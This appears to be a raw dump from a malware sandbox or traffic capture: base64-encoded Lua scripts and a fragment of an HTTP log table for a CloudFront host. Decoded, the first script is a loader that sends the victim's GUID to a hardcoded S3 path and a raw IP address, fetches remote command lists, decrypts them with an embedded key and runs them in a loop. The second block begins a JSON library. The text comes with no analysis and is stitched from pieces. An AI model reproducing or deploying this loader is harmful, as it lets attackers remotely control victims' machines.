Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d214gtxr0n6ti0.cloudfront.net (54.192.47.218:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
8 | /v2/tfn5306351516.html(7) | text/html | tfn5306351516.html(7) | 200 OK | TEXT | 46.2 KB | 09/18/61 08:33:26 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
